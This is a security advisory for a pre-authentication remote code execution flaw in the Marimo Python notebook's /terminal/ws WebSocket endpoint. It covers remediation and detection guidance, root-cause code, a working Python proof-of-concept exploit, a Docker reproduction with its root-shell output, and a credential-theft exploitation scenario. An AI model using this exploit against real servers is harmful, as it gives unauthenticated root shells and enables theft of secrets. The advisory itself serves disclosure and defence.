Marimo, a Python reactive notebook with 19.6k GitHub stars, has a critical pre-authentication RCE: the `/terminal/ws` WebSocket endpoint completely skips auth validation and forks a PTY shell to any unauthenticated caller — bypassing even explicitly configured access tokens. A CISO should care because exploitation requires a single WebSocket connection with no credentials, the public advisory includes a working proof-of-concept, default Docker deployments run as root giving full host access, and 2,884 downstream dependents means this tool is embedded across AI/ML development toolchains. Upgrade immediately to marimo >= 0.23.0; if patching is blocked, firewall port 2718 to trusted IPs only and never expose Marimo directly to the internet.
Risk Assessment
Critical. The attack requires zero authentication, zero AI/ML knowledge, and the PoC is publicly available in the advisory itself — this is script-kiddie territory. The auth middleware uses Starlette's passive UnauthenticatedUser pattern, meaning auth is architecturally enforced at the endpoint level; the terminal endpoint simply has no such enforcement. In shared AI development environments (JupyterHub-style, cloud notebooks, internal MLOps platforms), a single exposed port is full compromise. Default root execution in Docker amplifies blast radius to container escape pre-conditions. OpenSSF Scorecard of 4.8/10 and 2 prior CVEs in the same package suggest a pattern of security debt.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| marimo | pip | < 0.23.0 | 0.23.0 |
Do you use marimo? You're affected.
Severity & Risk
Recommended Action
- PATCH: Upgrade to marimo >= 0.23.0 immediately — this release adds `validate_auth()` to the `/terminal/ws` endpoint.
- NETWORK: If patching is blocked, firewall port 2718 (default) to trusted IPs only at the host or network level. Never expose Marimo to the public internet.
- RUNTIME: Run Marimo containers as a non-root user (`--user 1000:1000` in Docker); this limits post-exploitation impact.
- DETECT: Audit process trees on Marimo hosts for unexpected child processes forked by the marimo server (unusual shells, curl/wget, nc). Check for unexpected outbound connections from the Marimo container.
- ROTATE: If hosts were exposed, assume environment variables and mounted secrets are compromised — rotate all API keys, database passwords, and cloud credentials accessible from those hosts.
Classification
Compliance Impact
This CVE is relevant to:
Technical Details
NVD Description
## Summary Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. ## Affected Versions Marimo <= 0.20.4 (current latest) ## Vulnerability Details ### Root Cause: Terminal WebSocket Missing Authentication `marimo/_server/api/endpoints/terminal.py` lines 340-356: ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) if app_state.mode != SessionMode.EDIT: await websocket.close(...) return if not supports_terminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... child_pid, fd = pty.fork() # Creates PTY shell ``` Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82): ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) validator = WebSocketConnectionValidator(websocket, app_state) if not await validator.validate_auth(): # Correct auth check return ``` ### Authentication Middleware Limitation Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls. The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active. ### Attack Chain 1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed) 2. `websocket.accept()` accepts the connection directly 3. `pty.fork()` creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments A single WebSocket connection yields a complete interactive shell. ## Proof of Concept ```python import websocket import time # Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2) # Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass # Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close() ``` ### Reproduction Environment ```dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."] ``` ### Reproduction Result With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely: ``` $ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3 ``` ## Suggested Remediation 1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()` 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default ## Impact An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
Exploitation Scenario
An adversary scans for port 2718 (Marimo default) across cloud environments or internal AI development networks. They connect to `ws://TARGET:2718/terminal/ws` with a standard WebSocket client — no auth header, no token, no prior session. The server accepts the connection and forks a PTY process. The attacker now has an interactive root shell inside the Marimo container. They enumerate environment variables to harvest LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY), database connection strings, and cloud credentials. In a typical AI development setup, they pivot to the connected PostgreSQL database containing training data, exfiltrate model weights from mounted volumes, or use the harvested cloud credentials to access S3 buckets or GCS with datasets. If the container runs with privileged mode or mounted Docker socket (common in MLOps setups), full host compromise follows.
Weaknesses (CWE)
References
Timeline
Related Vulnerabilities
CVE-2018-8768 7.8 Jupyter Notebook: XSS via malicious .ipynb file
Same package: notebook CVE-2018-21030 5.3 Jupyter Notebook: XSS via missing CSP on served files
Same package: notebook CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code Execution CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Auth Bypass CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Auth Bypass
AI Threat Alert